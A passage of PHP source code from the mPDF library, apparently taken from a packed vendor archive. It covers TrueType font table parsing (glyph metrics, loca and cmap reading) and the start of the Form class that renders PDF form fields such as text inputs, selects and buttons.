$MarkRecord; } ////////////////////////////////////////////////////////////////////////////////// // Recursively get composite glyph data function getGlyphData($originalGlyphIdx, &$maxdepth, &$depth, &$points, &$contours) { $depth++; $maxdepth = max($maxdepth, $depth); if (count($this->glyphdata[$originalGlyphIdx]['compGlyphs'])) { foreach ($this->glyphdata[$originalGlyphIdx]['compGlyphs'] as $glyphIdx) { $this->getGlyphData($glyphIdx, $maxdepth, $depth, $points, $contours); } } else { if (($this->glyphdata[$originalGlyphIdx]['nContours'] > 0) && $depth > 0) { // simple $contours += $this->glyphdata[$originalGlyphIdx]['nContours']; $points += $this->glyphdata[$originalGlyphIdx]['nPoints']; } } $depth--; } ////////////////////////////////////////////////////////////////////////////////// // Recursively get composite glyphs function getGlyphs($originalGlyphIdx, &$start, &$glyphSet, &$subsetglyphs) { $glyphPos = $this->glyphPos[$originalGlyphIdx]; $glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos; if (!$glyphLen) { return; } $this->seek($start + $glyphPos); $numberOfContours = $this->read_short(); if ($numberOfContours < 0) { $this->skip(8); $flags = GlyphOperator::MORE; while ($flags & GlyphOperator::MORE) { $flags = $this->read_ushort(); } $glyphIdx = $this->read_ushort(); if (!isset($glyphSet[$glyphIdx])) { $glyphSet[$glyphIdx] = count($subsetglyphs); // old glyphID to new glyphID $subsetglyphs[$glyphIdx] = true; } $savepos = ftell($this->fh); $this->getGlyphs($glyphIdx, $start, $glyphSet, $subsetglyphs); $this->seek($savepos); if ($flags & GlyphOperator::WORDS) { $this->skip(4); } else { $this->skip(2); } if ($flags & GlyphOperator::SCALE) { $this->skip(2); } else { if ($flags & GlyphOperator::XYSCALE) { $this->skip(4); } else { if ($flags & GlyphOperator::TWOBYTWO) { $this->skip(8); } } } } } ////////////////////////////////////////////////////////////////////////////////// function getHMTX($numberOfHMetrics, $numGlyphs, &$glyphToChar, $scale) { $start = $this->seek_table("hmtx"); $aw = 0; $this->charWidths = str_pad('', 256 * 256 * 2, "\x00"); if ($this->maxUniChar > 65536) { $this->charWidths .= str_pad('', 256 * 256 * 2, "\x00"); } // Plane 1 SMP if ($this->maxUniChar > 131072) { $this->charWidths .= str_pad('', 256 * 256 * 2, "\x00"); } // Plane 2 SMP $nCharWidths = 0; if (($numberOfHMetrics * 4) < $this->maxStrLenRead) { $data = $this->get_chunk($start, ($numberOfHMetrics * 4)); $arr = unpack("n*", $data); } else { $this->seek($start); } for ($glyph = 0; $glyph < $numberOfHMetrics; $glyph++) { if (($numberOfHMetrics * 4) < $this->maxStrLenRead) { $aw = $arr[($glyph * 2) + 1]; } else { $aw = $this->read_ushort(); $lsb = $this->read_ushort(); } if (isset($glyphToChar[$glyph]) || $glyph == 0) { if ($aw >= (1 << 15)) { $aw = 0; } // 1.03 Some (arabic) fonts have -ve values for width // although should be unsigned value - comes out as e.g. 65108 (intended -50) if ($glyph == 0) { $this->defaultWidth = $scale * $aw; continue; } foreach ($glyphToChar[$glyph] as $char) { //$this->charWidths[$char] = intval(round($scale*$aw)); if ($char != 0 && $char != 65535) { $w = intval(round($scale * $aw)); if ($w == 0) { $w = 65535; } if ($char < 196608) { $this->charWidths[$char * 2] = chr($w >> 8); $this->charWidths[$char * 2 + 1] = chr($w & 0xFF); $nCharWidths++; } } } } } $data = $this->get_chunk(($start + $numberOfHMetrics * 4), ($numGlyphs * 2)); $arr = unpack("n*", $data); $diff = $numGlyphs - $numberOfHMetrics; $w = intval(round($scale * $aw)); if ($w == 0) { $w = 65535; } for ($pos = 0; $pos < $diff; $pos++) { $glyph = $pos + $numberOfHMetrics; if (isset($glyphToChar[$glyph])) { foreach ($glyphToChar[$glyph] as $char) { if ($char != 0 && $char != 65535) { if ($char < 196608) { $this->charWidths[$char * 2] = chr($w >> 8); $this->charWidths[$char * 2 + 1] = chr($w & 0xFF); $nCharWidths++; } } } } } // NB 65535 is a set width of 0 // First bytes define number of chars in font $this->charWidths[0] = chr($nCharWidths >> 8); $this->charWidths[1] = chr($nCharWidths & 0xFF); } function getHMetric($numberOfHMetrics, $gid) { $start = $this->seek_table("hmtx"); if ($gid < $numberOfHMetrics) { $this->seek($start + ($gid * 4)); $hm = fread($this->fh, 4); } else { $this->seek($start + (($numberOfHMetrics - 1) * 4)); $hm = fread($this->fh, 2); $this->seek($start + ($numberOfHMetrics * 2) + ($gid * 2)); $hm .= fread($this->fh, 2); } return $hm; } function getLOCA($indexToLocFormat, $numGlyphs) { $start = $this->seek_table('loca'); $this->glyphPos = []; if ($indexToLocFormat == 0) { $data = $this->get_chunk($start, ($numGlyphs * 2) + 2); $arr = unpack("n*", $data); for ($n = 0; $n <= $numGlyphs; $n++) { $this->glyphPos[] = ($arr[$n + 1] * 2); } } else { if ($indexToLocFormat == 1) { $data = $this->get_chunk($start, ($numGlyphs * 4) + 4); $arr = unpack("N*", $data); for ($n = 0; $n <= $numGlyphs; $n++) { $this->glyphPos[] = ($arr[$n + 1]); } } else { throw new \Mpdf\MpdfException('Unknown location table format ' . $indexToLocFormat); } } } // CMAP Format 4 function getCMAP4($unicode_cmap_offset, &$glyphToChar, &$charToGlyph) { $this->maxUniChar = 0; $this->seek($unicode_cmap_offset + 2); $length = $this->read_ushort(); $limit = $unicode_cmap_offset + $length; $this->skip(2); $segCount = $this->read_ushort() / 2; $this->skip(6); $endCount = []; for ($i = 0; $i < $segCount; $i++) { $endCount[] = $this->read_ushort(); } $this->skip(2); $startCount = []; for ($i = 0; $i < $segCount; $i++) { $startCount[] = $this->read_ushort(); } $idDelta = []; for ($i = 0; $i < $segCount; $i++) { $idDelta[] = $this->read_short(); } // ???? was unsigned short $idRangeOffset_start = $this->_pos; $idRangeOffset = []; for ($i = 0; $i < $segCount; $i++) { $idRangeOffset[] = $this->read_ushort(); } for ($n = 0; $n < $segCount; $n++) { $endpoint = ($endCount[$n] + 1); for ($unichar = $startCount[$n]; $unichar < $endpoint; $unichar++) { if ($idRangeOffset[$n] == 0) { $glyph = ($unichar + $idDelta[$n]) & 0xFFFF; } else { $offset = ($unichar - $startCount[$n]) * 2 + $idRangeOffset[$n]; $offset = $idRangeOffset_start + 2 * $n + $offset; if ($offset >= $limit) { $glyph = 0; } else { $glyph = $this->get_ushort($offset); if ($glyph != 0) { $glyph = ($glyph + $idDelta[$n]) & 0xFFFF; } } } $charToGlyph[$unichar] = $glyph; if ($unichar < 196608) { $this->maxUniChar = max($unichar, $this->maxUniChar); } $glyphToChar[$glyph][] = $unichar; } } } function formatUni($char) { $x = preg_replace('/^[0]*/', '', $char); $x = str_pad($x, 4, '0', STR_PAD_LEFT); $d = hexdec($x); if (($d > 57343 && $d < 63744) || ($d > 122879 && $d < 126977)) { $id = 'M'; } // E000 - F8FF, 1E000-1F000 else { $id = 'U'; } return $id . '+' . $x; } function formatEntity($char, $allowjoining = false) { $char = preg_replace('/^[0]/', '', $char); $x = '&#x' . $char . ';'; if (strpos($this->GlyphClassMarks, $char) !== false) { if (!$allowjoining) { $x = '◌' . $x; } } return $x; } function formatUniArr($arr) { $s = []; foreach ($arr as $c) { $x = preg_replace('/^[0]*/', '', $c); $d = hexdec($x); if (($d > 57343 && $d < 63744) || ($d > 122879 && $d < 126977)) { $id = 'M'; } // E000 - F8FF, 1E000-1F000 else { $id = 'U'; } $s[] = $id . '+' . str_pad($x, 4, '0', STR_PAD_LEFT); } return implode(', ', $s); } function formatEntityArr($arr) { $s = []; foreach ($arr as $c) { $c = preg_replace('/^[0]/', '', $c); $x = '&#x' . $c . ';'; if (strpos($this->GlyphClassMarks, $c) !== false) { $x = '◌' . $x; } $s[] = $x; } return implode(' ', $s); // ZWNJ? ‍ } function formatClassArr($arr) { $s = []; foreach ($arr as $c) { $x = preg_replace('/^[0]*/', '', $c); $d = hexdec($x); if (($d > 57343 && $d < 63744) || ($d > 122879 && $d < 126977)) { $id = 'M'; } // E000 - F8FF, 1E000-1F000 else { $id = 'U'; } $s[] = $id . '+' . str_pad($x, 4, '0', STR_PAD_LEFT); } return implode(', ', $s); } function formatUniStr($str) { $s = []; $arr = explode('|', $str); foreach ($arr as $c) { $x = preg_replace('/^[0]*/', '', $c); $d = hexdec($x); if (($d > 57343 && $d < 63744) || ($d > 122879 && $d < 126977)) { $id = 'M'; } // E000 - F8FF, 1E000-1F000 else { $id = 'U'; } $s[] = $id . '+' . str_pad($x, 4, '0', STR_PAD_LEFT); } return implode(', ', $s); } function formatEntityStr($str) { $s = []; $arr = explode('|', $str); foreach ($arr as $c) { $c = preg_replace('/^[0]/', '', $c); $x = '&#x' . $c . ';'; if (strpos($this->GlyphClassMarks, $c) !== false) { $x = '◌' . $x; } $s[] = $x; } return implode(' ', $s); // ZWNJ? ‍ } function formatEntityFirst($str) { $arr = explode('|', $str); $char = preg_replace('/^[0]/', '', $arr[0]); $x = '&#x' . $char . ';'; if (strpos($this->GlyphClassMarks, $char) !== false) { $x = '◌' . $x; } return $x; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Form.php�����������������������������������������������������������������������0000644�����������������00000206411�14760002214�0012120 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Strict; use Mpdf\Color\ColorConverter; use Mpdf\Writer\BaseWriter; use Mpdf\Writer\FormWriter; class Form { use Strict; // Input flags const FLAG_READONLY = 1; const FLAG_REQUIRED = 2; const FLAG_NO_EXPORT = 3; const FLAG_TEXTAREA = 13; const FLAG_PASSWORD = 14; const FLAG_RADIO = 15; const FLAG_NOTOGGLEOFF = 16; const FLAG_COMBOBOX = 18; const FLAG_EDITABLE = 19; const FLAG_MULTISELECT = 22; const FLAG_NO_SPELLCHECK = 23; const FLAG_NO_SCROLL = 24; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Otl */ private $otl; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; /** * @var \Mpdf\Writer\BaseWriter */ private $writer; /** * @var \Mpdf\Writer\FormWriter */ private $formWriter; /** * @var array */ public $forms; /** * @var int */ private $formCount; // Active Forms var $formSubmitNoValueFields; var $formExportType; var $formSelectDefaultOption; var $formUseZapD; // Form Styles var $form_border_color; var $form_background_color; var $form_border_width; var $form_border_style; var $form_button_border_color; var $form_button_background_color; var $form_button_border_width; var $form_button_border_style; var $form_radio_color; var $form_radio_background_color; var $form_element_spacing; // Active forms var $formMethod; var $formAction; var $form_fonts; var $form_radio_groups; var $form_checkboxes; var $pdf_acro_array; var $pdf_array_co; var $array_form_button_js; var $array_form_choice_js; var $array_form_text_js; // Button Text var $form_button_text; var $form_button_text_over; var $form_button_text_click; var $form_button_icon; // FORMS var $textarea_lineheight; public function __construct(Mpdf $mpdf, Otl $otl, ColorConverter $colorConverter, BaseWriter $writer, FormWriter $formWriter) { $this->mpdf = $mpdf; $this->otl = $otl; $this->colorConverter = $colorConverter; $this->writer = $writer; $this->formWriter = $formWriter; // ACTIVE FORMS $this->formExportType = 'xfdf'; // 'xfdf' or 'html' $this->formSubmitNoValueFields = true; // Whether to include blank fields when submitting data $this->formSelectDefaultOption = true; // for Select drop down box; if no option is explicitly maked as selected, // this determines whether to select 1st option (as per browser) // - affects whether "required" attribute is relevant $this->formUseZapD = true; // Determine whether to use ZapfDingbat icons for radio/checkboxes // FORM STYLES // These can alternatively use a 4 number string to represent CMYK colours $this->form_border_color = '0.6 0.6 0.72'; // RGB $this->form_background_color = '0.975 0.975 0.975'; // RGB $this->form_border_width = '1'; // 0 doesn't seem to work as it should $this->form_border_style = 'S'; // B - Bevelled; D - Double $this->form_button_border_color = '0.2 0.2 0.55'; $this->form_button_background_color = '0.941 0.941 0.941'; $this->form_button_border_width = '1'; $this->form_button_border_style = 'S'; $this->form_radio_color = '0.0 0.0 0.4'; // radio and checkbox $this->form_radio_background_color = '0.9 0.9 0.9'; // FORMS $this->textarea_lineheight = 1.25; // FORM ELEMENT SPACING $this->form_element_spacing['select']['outer']['h'] = 0.5; // Horizontal spacing around SELECT $this->form_element_spacing['select']['outer']['v'] = 0.5; // Vertical spacing around SELECT $this->form_element_spacing['select']['inner']['h'] = 0.7; // Horizontal padding around SELECT $this->form_element_spacing['select']['inner']['v'] = 0.7; // Vertical padding around SELECT $this->form_element_spacing['input']['outer']['h'] = 0.5; $this->form_element_spacing['input']['outer']['v'] = 0.5; $this->form_element_spacing['input']['inner']['h'] = 0.7; $this->form_element_spacing['input']['inner']['v'] = 0.7; $this->form_element_spacing['textarea']['outer']['h'] = 0.5; $this->form_element_spacing['textarea']['outer']['v'] = 0.5; $this->form_element_spacing['textarea']['inner']['h'] = 1; $this->form_element_spacing['textarea']['inner']['v'] = 0.5; $this->form_element_spacing['button']['outer']['h'] = 0.5; $this->form_element_spacing['button']['outer']['v'] = 0.5; $this->form_element_spacing['button']['inner']['h'] = 2; $this->form_element_spacing['button']['inner']['v'] = 1; // INITIALISE non-configurable $this->formMethod = 'POST'; $this->formAction = ''; $this->form_fonts = []; $this->form_radio_groups = []; $this->form_checkboxes = false; $this->forms = []; $this->pdf_array_co = ''; } function print_ob_text($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir) { // TEXT/PASSWORD INPUT if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled']) || !empty($objattr['readonly'])) { $flags[] = self::FLAG_READONLY; } if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_NO_EXPORT; $objattr['color'] = [3, 128, 128, 128]; // gray out disabled } if (!empty($objattr['required'])) { $flags[] = self::FLAG_REQUIRED; } if (!isset($objattr['spellcheck']) || !$objattr['spellcheck']) { $flags[] = self::FLAG_NO_SPELLCHECK; } if (isset($objattr['subtype']) && $objattr['subtype'] === 'PASSWORD') { $flags[] = self::FLAG_PASSWORD; } if (isset($objattr['color'])) { $this->mpdf->SetTColor($objattr['color']); } else { $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $fieldalign = $rtlalign; if (!empty($objattr['text_align'])) { $fieldalign = $objattr['text_align']; $val = $objattr['text']; } else { $val = $objattr['text']; } // mPDF 5.3.25 $js = []; if (!empty($objattr['onCalculate'])) { $js[] = ['C', $objattr['onCalculate']]; } if (!empty($objattr['onValidate'])) { $js[] = ['V', $objattr['onValidate']]; } if (!empty($objattr['onFormat'])) { $js[] = ['F', $objattr['onFormat']]; } if (!empty($objattr['onKeystroke'])) { $js[] = ['K', $objattr['onKeystroke']]; } $this->SetFormText($w, $h, $objattr['fieldname'], $val, $val, $objattr['title'], $flags, $fieldalign, false, (isset($objattr['maxlength']) ? $objattr['maxlength'] : false), $js, (isset($objattr['background-col']) ? $objattr['background-col'] : false), (isset($objattr['border-col']) ? $objattr['border-col'] : false)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $w -= $this->form_element_spacing['input']['outer']['h'] * 2 / $k; $h -= $this->form_element_spacing['input']['outer']['v'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['input']['outer']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['input']['outer']['v'] / $k; // Chop texto to max length $w-inner-padding while ($this->mpdf->GetStringWidth($texto) > $w - ($this->form_element_spacing['input']['inner']['h'] * 2)) { $texto = mb_substr($texto, 0, mb_strlen($texto, $this->mpdf->mb_enc) - 1, $this->mpdf->mb_enc); } // DIRECTIONALITY if (preg_match('/([' . $this->mpdf->pregRTLchars . '])/u', $texto)) { $this->mpdf->biDirectional = true; } // *RTL* // Use OTL OpenType Table Layout - GSUB & GPOS if (!empty($this->mpdf->CurrentFont['useOTL'])) { $texto = $this->otl->applyOTL($texto, $this->mpdf->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } $this->mpdf->magic_reverse_dir($texto, $this->mpdf->directionality, $OTLdata); $this->mpdf->SetLineWidth(0.2 / $k); if (!empty($objattr['disabled'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); } elseif (!empty($objattr['readonly'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetFColor($this->colorConverter->convert(250, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $this->mpdf->Cell($w, $h, $texto, 1, 0, $rtlalign, 1, '', 0, $this->form_element_spacing['input']['inner']['h'] / $k, $this->form_element_spacing['input']['inner']['h'] / $k, 'M', 0, false, $OTLdata); $this->mpdf->SetFColor($this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } function print_ob_textarea($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir) { // TEXTAREA if ($this->mpdf->useActiveForms) { $flags = [self::FLAG_TEXTAREA]; if (!empty($objattr['disabled']) || !empty($objattr['readonly'])) { $flags[] = self::FLAG_READONLY; } if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_NO_EXPORT; $objattr['color'] = [3, 128, 128, 128]; // gray out disabled } if (!empty($objattr['required'])) { $flags[] = self::FLAG_REQUIRED; } if (!isset($objattr['spellcheck']) || !$objattr['spellcheck']) { $flags[] = self::FLAG_NO_SPELLCHECK; } if (!empty($objattr['donotscroll'])) { $flags[] = self::FLAG_NO_SCROLL; } if (isset($objattr['color'])) { $this->mpdf->SetTColor($objattr['color']); } else { $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $fieldalign = $rtlalign; if ($texto === ' ') { $texto = ''; } // mPDF 5.3.24 if (!empty($objattr['text_align'])) { $fieldalign = $objattr['text_align']; } // mPDF 5.3.25 $js = []; if (!empty($objattr['onCalculate'])) { $js[] = ['C', $objattr['onCalculate']]; } if (!empty($objattr['onValidate'])) { $js[] = ['V', $objattr['onValidate']]; } if (!empty($objattr['onFormat'])) { $js[] = ['F', $objattr['onFormat']]; } if (!empty($objattr['onKeystroke'])) { $js[] = ['K', $objattr['onKeystroke']]; } $this->SetFormText($w, $h, $objattr['fieldname'], $texto, $texto, (isset($objattr['title']) ? $objattr['title'] : ''), $flags, $fieldalign, false, -1, $js, (isset($objattr['background-col']) ? $objattr['background-col'] : false), (isset($objattr['border-col']) ? $objattr['border-col'] : false)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $w -= $this->form_element_spacing['textarea']['outer']['h'] * 2 / $k; $h -= $this->form_element_spacing['textarea']['outer']['v'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['textarea']['outer']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['textarea']['outer']['v'] / $k; $this->mpdf->SetLineWidth(0.2 / $k); if (!empty($objattr['disabled'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); } elseif (!empty($objattr['readonly'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetFColor($this->colorConverter->convert(250, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $this->mpdf->Rect($this->mpdf->x, $this->mpdf->y, $w, $h, 'DF'); $ClipPath = sprintf('q %.3F %.3F %.3F %.3F re W n ', $this->mpdf->x * Mpdf::SCALE, ($this->mpdf->h - $this->mpdf->y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$h * Mpdf::SCALE); $this->writer->write($ClipPath); $w -= $this->form_element_spacing['textarea']['inner']['h'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['textarea']['inner']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['textarea']['inner']['v'] / $k; if ($texto != '') { $this->mpdf->MultiCell($w, $this->mpdf->FontSize * $this->textarea_lineheight, $texto, 0, '', 0, '', $blockdir, true, $objattr['OTLdata'], $objattr['rows']); } $this->writer->write('Q'); $this->mpdf->SetFColor($this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } function print_ob_select($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir) { // SELECT if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_READONLY; $flags[] = self::FLAG_NO_EXPORT; $objattr['color'] = [3, 128, 128, 128]; // gray out disabled } if (!empty($objattr['required'])) { $flags[] = self::FLAG_REQUIRED; } if (!empty($objattr['multiple']) && isset($objattr['size']) && $objattr['size'] > 1) { $flags[] = self::FLAG_MULTISELECT; } if (isset($objattr['size']) && $objattr['size'] < 2) { $flags[] = self::FLAG_COMBOBOX; if (!empty($objattr['editable'])) { $flags[] = self::FLAG_EDITABLE; } } // only allow spellcheck if combo and editable if ((!isset($objattr['spellcheck']) || !$objattr['spellcheck']) || (isset($objattr['size']) && $objattr['size'] > 1) || (!isset($objattr['editable']) || !$objattr['editable'])) { $flags[] = self::FLAG_NO_SPELLCHECK; } if (isset($objattr['subtype']) && $objattr['subtype'] === 'PASSWORD') { $flags[] = self::FLAG_PASSWORD; } if (!empty($objattr['onChange'])) { $js = $objattr['onChange']; } else { $js = ''; } // mPDF 5.3.37 $data = ['VAL' => [], 'OPT' => [], 'SEL' => [],]; if (isset($objattr['items'])) { for ($i = 0; $i < count($objattr['items']); $i++) { $item = $objattr['items'][$i]; $data['VAL'][] = (isset($item['exportValue']) ? $item['exportValue'] : ''); $data['OPT'][] = (isset($item['content']) ? $item['content'] : ''); if (!empty($item['selected'])) { $data['SEL'][] = $i; } } } if (count($data['SEL']) === 0 && $this->formSelectDefaultOption) { $data['SEL'][] = 0; } if (isset($objattr['color'])) { $this->mpdf->SetTColor($objattr['color']); } else { $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $this->SetFormChoice($w, $h, $objattr['fieldname'], $flags, $data, $rtlalign, $js); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetLineWidth(0.2 / $k); if (!empty($objattr['disabled'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetFColor($this->colorConverter->convert(250, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $w -= $this->form_element_spacing['select']['outer']['h'] * 2 / $k; $h -= $this->form_element_spacing['select']['outer']['v'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['select']['outer']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['select']['outer']['v'] / $k; // DIRECTIONALITY if (preg_match('/([' . $this->mpdf->pregRTLchars . '])/u', $texto)) { $this->mpdf->biDirectional = true; } // *RTL* $this->mpdf->magic_reverse_dir($texto, $this->mpdf->directionality, $objattr['OTLdata']); $this->mpdf->Cell($w - ($this->mpdf->FontSize * 1.4), $h, $texto, 1, 0, $rtlalign, 1, '', 0, $this->form_element_spacing['select']['inner']['h'] / $k, $this->form_element_spacing['select']['inner']['h'] / $k, 'M', 0, false, $objattr['OTLdata']); $this->mpdf->SetFColor($this->colorConverter->convert(190, $this->mpdf->PDFAXwarnings)); $save_font = $this->mpdf->FontFamily; $save_currentfont = $this->mpdf->currentfontfamily; if ($this->mpdf->PDFA || $this->mpdf->PDFX) { if (($this->mpdf->PDFA && !$this->mpdf->PDFAauto) || ($this->mpdf->PDFX && !$this->mpdf->PDFXauto)) { $this->mpdf->PDFAXwarnings[] = 'Core Adobe font Zapfdingbats cannot be embedded in mPDF - used in Form element: Select - which is required for PDFA1-b or PDFX/1-a. (Different character/font will be substituted.)'; } $this->mpdf->SetFont('sans'); if ($this->mpdf->_charDefined($this->mpdf->CurrentFont['cw'], 9660)) { $down = "\xe2\x96\xbc"; } else { $down = '='; } $this->mpdf->Cell($this->mpdf->FontSize * 1.4, $h, $down, 1, 0, 'C', 1); } else { $this->mpdf->SetFont('czapfdingbats'); $this->mpdf->Cell($this->mpdf->FontSize * 1.4, $h, chr(116), 1, 0, 'C', 1); } $this->mpdf->SetFont($save_font); $this->mpdf->currentfontfamily = $save_currentfont; $this->mpdf->SetFColor($this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } function print_ob_imageinput($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $is_table) { // INPUT/BUTTON as IMAGE if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_READONLY; $flags[] = self::FLAG_NO_EXPORT; } if (!empty($objattr['onClick'])) { $js = $objattr['onClick']; } else { $js = ''; } $this->SetJSButton($w, $h, $objattr['fieldname'], (isset($objattr['value']) ? $objattr['value'] : ''), $js, $objattr['ID'], $objattr['title'], $flags, (isset($objattr['Indexed']) ? $objattr['Indexed'] : false)); } else { $this->mpdf->y = $objattr['INNER-Y']; $this->writer->write(sprintf('q %.3F 0 0 %.3F %.3F %.3F cm /I%d Do Q', $objattr['INNER-WIDTH'] * Mpdf::SCALE, $objattr['INNER-HEIGHT'] * Mpdf::SCALE, $objattr['INNER-X'] * Mpdf::SCALE, ($this->mpdf->h - ($objattr['INNER-Y'] + $objattr['INNER-HEIGHT'] )) * Mpdf::SCALE, $objattr['ID'])); if (!empty($objattr['BORDER-WIDTH'])) { $this->mpdf->PaintImgBorder($objattr, $is_table); } } } function print_ob_button($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir) { // BUTTON if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_READONLY; $flags[] = self::FLAG_NO_EXPORT; $objattr['color'] = [3, 128, 128, 128]; } if (isset($objattr['color'])) { $this->mpdf->SetTColor($objattr['color']); } else { $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } if (isset($objattr['subtype'])) { if ($objattr['subtype'] === 'RESET') { $this->SetFormButtonText($objattr['value']); $this->SetFormReset($w, $h, $objattr['fieldname'], $objattr['value'], $objattr['title'], $flags, (isset($objattr['background-col']) ? $objattr['background-col'] : false), (isset($objattr['border-col']) ? $objattr['border-col'] : false), (isset($objattr['noprint']) ? $objattr['noprint'] : false)); } elseif ($objattr['subtype'] === 'SUBMIT') { $url = $this->formAction; $type = $this->formExportType; $method = $this->formMethod; $this->SetFormButtonText($objattr['value']); $this->SetFormSubmit($w, $h, $objattr['fieldname'], $objattr['value'], $url, $objattr['title'], $type, $method, $flags, (isset($objattr['background-col']) ? $objattr['background-col'] : false), (isset($objattr['border-col']) ? $objattr['border-col'] : false), (isset($objattr['noprint']) ? $objattr['noprint'] : false)); } elseif ($objattr['subtype'] === 'BUTTON') { $this->SetFormButtonText($objattr['value']); if (isset($objattr['onClick']) && $objattr['onClick']) { $js = $objattr['onClick']; } else { $js = ''; } $this->SetJSButton($w, $h, $objattr['fieldname'], $objattr['value'], $js, 0, $objattr['title'], $flags, false, (isset($objattr['background-col']) ? $objattr['background-col'] : false), (isset($objattr['border-col']) ? $objattr['border-col'] : false), (isset($objattr['noprint']) ? $objattr['noprint'] : false)); } } $this->mpdf->SetTColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetLineWidth(0.2 / $k); $this->mpdf->SetFColor($this->colorConverter->convert(190, $this->mpdf->PDFAXwarnings)); $w -= $this->form_element_spacing['button']['outer']['h'] * 2 / $k; $h -= $this->form_element_spacing['button']['outer']['v'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['button']['outer']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['button']['outer']['v'] / $k; $this->mpdf->RoundedRect($this->mpdf->x, $this->mpdf->y, $w, $h, 0.5 / $k, 'DF'); $w -= $this->form_element_spacing['button']['inner']['h'] * 2 / $k; $h -= $this->form_element_spacing['button']['inner']['v'] * 2 / $k; $this->mpdf->x += $this->form_element_spacing['button']['inner']['h'] / $k; $this->mpdf->y += $this->form_element_spacing['button']['inner']['v'] / $k; // DIRECTIONALITY if (preg_match('/([' . $this->mpdf->pregRTLchars . '])/u', $texto)) { $this->mpdf->biDirectional = true; } // *RTL* // Use OTL OpenType Table Layout - GSUB & GPOS if (!empty($this->mpdf->CurrentFont['useOTL'])) { $texto = $this->otl->applyOTL($texto, $this->mpdf->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } $this->mpdf->magic_reverse_dir($texto, $this->mpdf->directionality, $OTLdata); $this->mpdf->Cell($w, $h, $texto, '', 0, 'C', 0, '', 0, 0, 0, 'M', 0, false, $OTLdata); $this->mpdf->SetFColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } function print_ob_checkbox($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $x, $y) { // CHECKBOX if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_READONLY; $flags[] = self::FLAG_NO_EXPORT; } $checked = 